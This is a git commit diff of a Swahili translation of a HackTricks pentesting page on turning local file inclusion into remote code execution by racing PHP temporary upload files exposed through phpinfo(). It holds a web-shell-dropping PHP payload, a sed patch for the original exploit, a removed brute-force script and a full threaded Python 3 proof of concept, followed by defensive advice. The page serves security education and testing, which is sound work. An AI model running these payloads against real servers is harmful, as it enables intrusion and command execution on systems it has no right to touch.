Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']

This commit is contained in:
Translator 2025-09-30 00:52:57 +00:00
parent f4e32fe5ba
commit ca3cb9c0e9

View File

@ -1,55 +1,160 @@
# LFI to RCE via PHPInfo
{{#include ../../banners/hacktricks-training.md}}
Ili kutumia udhaifu huu unahitaji: **Udhaifu wa LFI, ukurasa ambapo phpinfo() inaonyeshwa, "file_uploads = on" na seva inapaswa kuwa na uwezo wa kuandika katika saraka ya "/tmp".**
Ili exploit mbinu hii unahitaji yafuatayo yote:
- Ukurasa unaofikika unaochapisha matokeo ya phpinfo().
- Local File Inclusion (LFI) primitive unayodhibiti (mfano, include/require kwenye input ya mtumiaji).
- Uwekaji faili wa PHP umewezeshwa (file_uploads = On). Kila script ya PHP itakubali RFC1867 multipart uploads na kuunda faili ya muda kwa kila sehemu iliyopakiwa.
- PHP worker lazima aweze kuandika kwenye upload_tmp_dir iliyosanifiwa (au default system temp directory) na LFI yako lazima iweze kujumuisha njia hiyo.
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
Classic write-up and original PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (angalia whitepaper na mirrors)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Unahitaji kurekebisha exploit (badilisha **=>** kwa **=>**). Ili kufanya hivyo unaweza kufanya:
Vidokezo kuhusu PoC ya asili
- Matokeo ya phpinfo() yame-HTML-encoded, hivyo mshale "=>" mara nyingi huonekana kama "=>". Ikiwa utatumia tena skripti za zamani, hakikisha zinatafuta encodings zote mbili wakati zinapotafsiri thamani ya _FILES[tmp_name].
- Lazima ubadilishe payload (PHP code yako), REQ1 (the request to the phpinfo() endpoint including padding), na LFIREQ (the request to your LFI sink). Malengo mengine hayahitaji null-byte (%00) terminator na toleo za kisasa za PHP hazitaheshimu. Rekebisha LFIREQ ipasavyo kwa sink iliyovulnerable.
Mfano sed (tu ikiwa kwa kweli unatumia PoC ya zamani ya Python2) ili kulinganisha mshale ulioboreshwa kwa HTML:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
```
Unapaswa kubadilisha pia **payload** mwanzoni mwa exploit (kwa mfano, kwa php-rev-shell), **REQ1** (hii inapaswa kuelekeza kwenye ukurasa wa phpinfo na inapaswa kuwa na padding iliyojumuishwa, yaani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), na **LFIREQ** (hii inapaswa kuelekeza kwenye udhaifu wa LFI, yaani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Angalia asilimia mbili "%" unapofanya exploit ya char ya null)
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### Nadharia
## Nadharia
Ikiwa upakuaji unaruhusiwa katika PHP na unajaribu kupakia faili, faili hizi huhifadhiwa katika directory ya muda hadi seva ikamilishe usindikaji wa ombi, kisha faili hizi za muda zinafuta.
- When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES['<field>']['tmp_name']. The file is automatically removed at the end of the request unless moved/renamed.
- Njia ni kujua jina la muda na kulijumuisha kupitia LFI yako kabla PHP haijaifuta. phpinfo() prints $_FILES, including tmp_name.
- Kwa kuongeza ukubwa wa request headers/parameters (padding) unaweza kusababisha vipande vya mwanzo vya output ya phpinfo() kuitolewa kwa client kabla request haijamalizika, hivyo unaweza kusoma tmp_name wakati file ya muda bado ipo kisha mara moja kulipiga LFI kwa path hiyo.
Kisha, ikiwa umepata udhaifu wa LFI katika seva ya wavuti unaweza kujaribu kukisia jina la faili ya muda iliyoundwa na kufanya exploit ya RCE kwa kufikia faili ya muda kabla haijafutwa.
In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
Katika **Windows** faili kawaida huhifadhiwa katika **C:\Windows\temp\php**
## Mtiririko wa shambulio (hatua kwa hatua)
Katika **linux** jina la faili lilikuwa **random** na liliko katika **/tmp**. Kwa kuwa jina ni random, inahitajika **kuchota kutoka mahali fulani jina la faili ya muda** na kuifikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya **variable $\_FILES** ndani ya maudhui ya kazi "**phpconfig()**".
**phpinfo()**
**PHP** inatumia buffer ya **4096B** na wakati inakuwa **kamili**, inatumwa **kwa mteja**. Kisha mteja anaweza **kutuma** **ombii mengi makubwa** (akitumia vichwa vikubwa) **kupakia php** reverse **shell**, subiri **sehemu ya kwanza ya phpinfo() irejeshwe** (ambapo jina la faili ya muda liko) na kujaribu **kufikia faili ya muda** kabla seva ya php haijafuta faili hiyo kwa kufanya exploit ya udhaifu wa LFI.
**Python script ya kujaribu kubruuteforce jina (ikiwa urefu = 6)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
1) Andaa payload ndogo ya PHP ambayo itaweka shell haraka ili kuepuka kupoteza mbio (kuandika a file kwa ujumla ni haraka kuliko kusubiri reverse shell):
```
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
```
2) Tuma POST kubwa ya multipart moja kwa moja kwa ukurasa wa phpinfo() ili iunde faili ya temp inayojumuisha payload yako. Ongeza padding kwa headers/cookies/params mbalimbali takriban 510KB ili kuhamasisha output mapema. Hakikisha jina la form field linalingana na utakavyolitumia kufasiri $_FILES.
3) Wakati response ya phpinfo() bado inatiririka (streaming), fasiri sehemu ya body ili kutoa $_FILES['<field>']['tmp_name'] (HTML-encoded). Mara tu unapopata path kamili ya absolute (mfano, /tmp/php3Fz9aB), tuma LFI yako ili kuingiza path hiyo. Ikiwa include() itatekeleza faili ya temp kabla ya kufutwa, payload yako itaendeshwa na itaunda /tmp/.p.php.
4) Tumia faili iliyoundwa: GET /vuln.php?include=/tmp/.p.php&x=id (au mahali popote LFI yako inakuwezesha kuingiza) kutekeleza amri kwa uhakika.
> Vidokezo
> - Tumia multiple concurrent workers ili kuongeza nafasi zako za kushinda race.
> - Mahali pa kuweka padding zinazosaidia kawaida: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Rekebisha kwa kulingana na lengo.
> - Ikiwa vulnerable sink inaongeza extension (mfano, .php), hauitaji null byte; include() itatekeleza PHP bila kujali extension ya faili ya temp.
## Minimal Python 3 PoC (socket-based)
Snippet hapa chini inazingatia sehemu muhimu na ni rahisi kuibadilisha kuliko script ya legacy ya Python2. Badilisha HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
```python
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
```
## Utatuzi wa matatizo
- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
- Output doesnt flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers wont flush until larger thresholds; adjust accordingly.
- LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.
## Vidokezo vya ulinzi
- Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
- Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
- Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist.
## Mbinu zinazohusiana za HackTricks
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
## Marejeo
- LFI With PHPInfo() Assistance whitepaper (2011) Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
{{#include ../../banners/hacktricks-training.md}}